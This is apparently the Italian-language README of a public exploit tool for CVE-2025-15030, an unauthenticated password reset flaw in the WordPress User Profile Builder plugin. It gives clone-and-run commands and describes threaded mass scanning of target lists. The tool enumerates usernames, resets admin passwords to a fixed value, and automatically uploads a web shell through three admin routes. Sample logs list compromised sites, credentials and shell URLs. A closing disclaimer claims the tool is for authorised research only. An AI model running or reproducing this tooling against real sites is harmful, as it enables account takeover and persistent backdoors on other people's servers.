
User Profile Builder < 3.15.2 - Reimpostazione password arbitraria non autenticata
User Profile Builder < 3.15.2 - Reset Password Arbitrario Non Autenticato
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
Causa principale:
Il flusso di recupero password del plugin Profile Builder (action2=recover_password2) non valida correttamente la chiave di reset né applica la scadenza del token. Inviando una POST appositamente costruita con un password_recovery_nonce_field2 valido estratto dalla pagina di reset, un attaccante non autenticato può impostare una nuova password per qualsiasi utente WordPress — inclusi gli amministratori — conoscendo solo il nome utente. Non è richiesta alcuna interazione via email né un token di reset valido.
Questo strumento implementa due catene di attacco indipendenti contro ogni bersaglio, entrambe seguite da un deployment opzionale della shell:
┌────────────────────────────────────────────────────────────────────┐
│ CHAIN 1 · CORE (wp-login native reset abuse) │
│ │
│ POST /wp-login.php?action=lostpassword (trigger reset) │
│ GET /wp-login.php?action=rp&key=... (follow reset link) │
│ POST /wp-login.php?action=resetpass (inject new password) │
│ Enumerate usernames → brute strict login → verify /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ CHAIN 2 · PB (Profile Builder reset-from-link) │
│ │
│ Load reset URLs from pb_reset_links.txt │
│ GET <reset_url> → extract nonce + userData │
│ POST action2=recover_password2 → set new password │
│ Strict login → verify /wp-admin/ access │
├───────────────────────────────────────────────────────────��────────┤
│ SHELL UPLOAD (runs after any confirmed admin hit) │
│ │
│ Method 1 → plugin-install.php upload (Nxploited.zip) │
│ Method 2 → REST API /wp-json/wp/v2/plugins │
│ Method 3 → Plugin/Theme editor (write Nx.php directly) │
│ Verify → GET /wp-content/plugins/Nxploited/Nx.php │
│ Log → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
Posiziona Nxploited.zip nella stessa directory dello script per abilitare l'upload della shell. Lo strumento funziona anche senza, ma il deployment della shell verrà saltato.
python3 CVE-2025-15030.py
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Output file for core wp-login reset successes: scan_results/wp_login_reset_success.txt
Output file for Nxploited shells: scan_results/shells.txt
Profile Builder reset links file (optional): pb_reset_links.txt
Password usata per tutti i tentativi di reset e login è fissa internamente:
Nxploited_adminSA
list.txt — Target (obbligatorio)https://target1.com
target2.com
http://target3.com/wordpress
pb_reset_links.txt — Link di Reset di Profile Builder (opzionale)Se hai catturato i link di reset password via email da Profile Builder, incollali qui uno per riga. Lo strumento:
password_recovery_nonce_field2 + userDataaction2=recover_password2https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
Lo strumento scopre automaticamente gli username WordPress utilizzando tre metodi prima di tentare il login:
| Metodo | Endpoint |
|---|---|
| Redirect autore | /?author=1 → |
Ogni tentativo di login viene verificato rigorosamente prima di scrivere i risultati. Lo strumento controlla:
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → users.php indicator
/wp-admin/plugins.php → plugins.php indicator
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
Un risultato viene scritto su disco solo quando vengono confermati ≥ 3 marcatori admin.
Dopo una sessione admin confermata, lo strumento tenta tre metodi di escalation in ordine:
Verifica della shell: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| File | Contenuto |
|---|---|
scan_results/wp_login_reset_success.txt | Accessi admin confermati tramite catena CORE |
scan_results/shells.txt | URL delle shell deployate con le credenziali |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin pass=Nxploited_adminSA
shells.txt
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php
[host] https://target.com
CORE: KEY=OK , RESET=OK , ACCESS=1 |
PB: KEY=FAIL, RESET=FAIL, ACCESS=0 |
SHELL: OK | LOGIN: https://target.com/wp-login.php
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears zero responsibility for any use of this tool
against systems the operator does not own or have explicit
written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws
worldwide and may result in criminal prosecution.
You alone are responsible for your actions.
© 2025 Nxploited · User Profile Builder < 3.15.2 · Corretto in 3.15.2
| Campo | Dettaglio |
|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 CRITICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Plugin | User Profile Builder per WordPress |
| Versioni interessate | Tutte le versioni precedenti alla 3.15.2 |
| Autenticazione | Non richiesta |
| Tipo | Reset Password Improprio — Compromissione Account Non Autenticata |
| CWE | CWE-640 · Meccanismo di Recupero Password Debole |
/?author=10| API REST | /wp-json/wp/v2/users |
| Euristica hostname | Prima etichetta del nome di dominio |
| Fallback predefinito | admin sempre incluso |
| Metodo | Endpoint | Trigger |
|---|
| Upload Plugin | /wp-admin/update.php?action=upload-plugin | Carica Nxploited.zip tramite il modulo di installazione |
| API REST | /wp-json/wp/v2/plugins | POST ZIP diretta |
| Scrittura Editor | /wp-admin/plugin-editor.php | Scrive Nx.php tramite l'editor dei file |
| Colonna | Significato |
|---|
KEY | Flusso di reset avviato con successo |
RESET | Nuova password accettata dal server |
ACCESS | Numero di login admin confermati |
SHELL | OK se Nx.php è confermato attivo |